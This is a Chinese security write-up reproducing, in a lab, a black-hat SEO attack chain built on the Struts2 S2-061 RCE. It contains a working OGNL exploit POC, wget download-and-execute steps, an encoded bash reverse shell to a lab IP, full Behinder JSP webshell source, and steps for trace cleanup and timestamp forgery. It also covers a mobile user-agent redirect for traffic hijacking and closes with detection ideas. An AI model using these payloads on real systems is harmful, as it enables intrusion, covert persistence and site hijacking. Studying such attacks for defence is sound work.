写在最前
本文创作的初衷在于分享和总结,自S2的RCE漏洞遍历之后,逐步涉及大规模事件的漏洞利用和黑灰产分析。基于工作中安全分析技术的分享提升,遂有关于黑帽SEO的从RCE漏洞Get Shell到网站篡改劫持的基本操作实践分析。在篡改劫持和黑灰产分析的路上逐渐深入,才知道基本操作实践分析是真的基本且班门弄斧,原先羞愧于浅显本不欲发出来,后想来初衷在于分享和总结,那就欢迎各位师傅来侃我。其实我还知道几种不方便发文的篡改劫持方式,有分析有总结有收获才算进步,尚差“侃侃而谈”的交流。
概述
篡改黑链一直是网站防护绕不开的风险点,且篡改事件背后一直隐隐约约黑灰产的身影。移动互联网用户基数大,而黑灰产的博彩、色情对移动端流量的需求经久不衰,网站篡改定向劫持移动端流量、黑灰产博彩色情地址只接受来自移动端流量,已经成为黑帽SEO的普及手段。本文基于一类可GetShell的靶场远程RCE漏洞(S2-061),实践分析其漏洞利用(反弹shell)、后门驻留(冰蝎)、网站篡改(显式和隐式)、流量劫持(外部JS),从而理解一类攻击者批量获取Shell,出售Shell给黑帽SEO,运营者批量篡改、周期性流量劫持,具体表现为大规模博彩或色情定向劫持移动端流量的黑灰产行为。
RCE漏洞——资源概述
漏洞
漏洞名称
Struts2系列漏洞S2-061,CVE-2020-17530=CNVD-2020-69833
漏洞原理
S2-061:Struts远程代码执行漏洞,在使用某些标签属性的情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行。S2-061是对S2-059修复方案的bypass。S2-059的修复补丁仅修复绕过,OGNL表达式的执行的特性仍在。
S2-059:Struts2会对某些标签属性(比如id
,S2-062的属性是name) 的属性值进行二次表达式解析,因此当这些标签属性中使用%{x}
且x
的值用户可控时,用户再传入一个%{payload}
即可造成OGNL表达式执行。
漏洞POC
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
上述POC无回显,无回显方式通常配合DNSlog验证。回显POC,需要注意修改Content-Type满足POST方式提交数据即可。
设备
机器
Ø Linux:Kali
靶机:192.168.68.129
攻击:192.168.68.134
Ø Windows
靶机:192.168.68.146
攻击:192.168.68.133
工具
Ø Shell管理工具
冰蝎3
Ø Shell编码工具
VScode
Ø 流量代理工具
Burpsuite(BP)
环境搭建
漏洞环境
Ø Vulhub
Kali靶机部署docker,搭建Vulhub靶场,开启S2-061靶场环境,具体步骤参考:
靶机Docker部署并启动Vulhub的S2-061环境
攻击机访问目标靶机8080端口
(Vulhub中Struts2的S2-061环境的首页标题就是S2-059demo,参考S2-061是S2-059修复的绕过)
测试id标签属性手动验证S2-061漏洞存在
资源分发
Ø DVWA
Win10靶机使用phpStudy搭建DVWA靶场,调整安全级别,借助文件上传将DVWA部署成为脚本和木马的分发服务器,具体步骤参考:
GetShell——命令执行
攻击机浏览器设置BP代理捕获流量
访问目标站点的index.action页面,BP获取标准数据包
修改提交方式为POST,增加POC并重放数据包
执行Wget命令请求分发服务器,下载脚本change.sh
执行Wget命令如下:
wget http://192.168.68.146/DVWA/DVWA-master/hackable/uploads/change.sh
脚本change.sh内容如下:
#!/bin/bash
wget http://192.168.68.146/DVWA/DVWA-master/hackable/uploads/jspforever.sh
source jspforever.sh
脚本jspforever.sh即为篡改脚本,详细内容参考脚本分析。
执行bash脚本文件执行命令,执行脚本change.sh
反弹shell
Bash反弹命令的编码准备
bash -i >& /dev/tcp/192.168.68.134/7777 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY4LjEzNC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
BP将bash反弹shell的编码命令放入POC,重放数据包
Kali攻击机使用NC命令监听端口7777,开启交互bash命令环境
Bash反弹的命令环境和S2-061命令执行的位置一致
Bash反弹shell环境wget下载脚本change.sh并source执行
篡改脚本jspforever.sh已经执行。
攻击目的
以冰蝎jsp木马为例,实现插入源网站jsp后缀文件、新增网站目录下jsp后缀文件两种shell驻留方式。冰蝎jsp木马内容如下:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader
{U(ClassLoader c)
{super(c);}public Class g(byte []b)
{return super.defineClass(b,0,b.length);}
}%>
<%if (request.getMethod().equals("POST"))
{String k="e45e329feb5d925b";
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>
插入文件
配置文件Struts.xml,首页文件index.jsp是Struts2最基础。插入文件选择首页文件index.jsp。
index.jsp内容
由于jsp木马也有”<@page”声明,故制作jsp变形马
冰蝎连接首页index.jsp和index.action都能连接
新增文件
由于连接木马需要指定路径,所以直接将新增jsp木马,放在index.jsp文件相同目录下。
新增jsp木马与index.jsp文件相同目录
尝试冰蝎直接连接失败,报错“文件存在,无法交换密钥”流量捕获冰蝎shell连接,对比成功连接发现两步传输,shell.jsp第一步失败
查看Struts的配置文件struts.xml可见所有action
参考Strtus2框架和工作原理,shell.jsp交换密钥和加解密需要action属性,修改struts.xml文件
冰蝎连接shell.jsp和shell.action都能连接
痕迹清理
这里使用冰蝎木马进行Shell驻留的优点之一就是冰蝎的文件管理模块对于入侵痕迹清理比较直观。
样本文件
中间脚本文件直接删除,新增文件修改文件名等,且还可以清理log文件。
时间戳
对新增文件、修改的文件完善文件时间戳,进一步实现驻留隐藏。
篡改网站——显式篡改
显式篡改通常篡改较为明显的位置,典型代表为:反共黑客
首页访问插入标记
隐式篡改
资源分发
内容分发的隐式篡改,即篡改别人的服务器作为攻击者恶意内容分发的服务器,或者作为最终目的服务器显示信息。
上传脚本到DVWA,将DVWA作为分发服务器即内容分发的隐式篡改
一个实际篡改事件中,作为显示信息的实例
该篡改在某个目录下新建一个页面显示链接,将色情链接植入受害网站某个目录下,将该站点设置成黄网的伪服务器,减少搭建服务器成本,也能达到推广色情APP的效果,同时还减少暴漏可能。
流量劫持
加载外部js,js存储在分发服务器或公网可访问地址
外部js执行UA判断,劫持移动端流量
借助51la对劫持网站进行流量统计
借助51la对劫持流量进行统计,将51la.js脚本加载到UA重定向外部js即可
篡改验证
BP代理浏览器,默认火狐浏览器UA,首次访问目标站点
BP代理浏览器,修改UA为移动端,再次访问目标站点
修改外部js的重定向地址,导向百度其他首页
BP代理浏览器,修改UA为移动端,第三次访问目标站点
发现劫持跳转失败,查看数据包发现并未加载外部js,可能是浏览器缓存原因。
更换主机浏览器,UA同理,新浏览器首次访问目标地址
脚本分析——Downloader
Downloader即脚本change.sh,执行篡改脚本的下载和执行。
篡改脚本
篡改脚本即jspforever.jsp,执行4.1中shell驻留的插入文件、新增文件和4.2中的显式篡改、隐式篡改。
覆盖原文件方式制作变形马、加载外部js
命令执行结果,用于命令执行攻击利用方式的回显
$? 获取当前命令执行的结果,bool变量:0、1。
覆盖原文件方式修改配置文件,为新增木马文件获取执行环境
脚本执行的报错信息配置,方便观察错误位置
针对1>&2,shell脚本中,默认三个文件处于打开状态,标准输入(键盘输入)、标准输出(输出到屏幕)、标准错误(也是输出到屏幕),它们分别对应的文件描述符是0,1,2。
将新增文件木马,下载到指定目录位置
外部JS
UA通常大小写都有,js中match()函数大小写敏感,调用toLowerCase()全部小写;
判断几种常见浏览器的UA,主要区分移动端和PC端;
UA满足设想条件,即可用window.location()在原始页面打开新的连接;在新页面打开连接是window.open();
Document.write()将51la的统计js写入,51la部署在外部js的一种用法,用以统计加载该js的流量。
驻留shell
驻留shell即shell.jsp、变形马index.jsp。shell必定有传参、执行,可能有认证、加解密。冰蝎的shell.jsp有传参、认证、加解密、执行。
参考:冰蝎shell魔改
检测思路——检测攻击
检测命令执行
文件下载(curl、wget)
文件执行(bash、powshell、cmd、exec等)
反弹shell(bash、msf、CS等)
以上检测较难直接关联篡改结果。
检测下载分发
情报碰撞分发服务器(URL),关联篡改结果较为准确。
检测恶意流量
Shell、木马的通信特征(base64加密、AES加密等误报高),较难直接关联篡改结果。
受害拓线
测绘JS
借助360quake测绘外部js(例如body: "/static/data/configjs.js")
百度hacker
借助百度检索关键词(inurl: site: intext等)
同源发现
根据CMS等受害者侧信息进行同源发现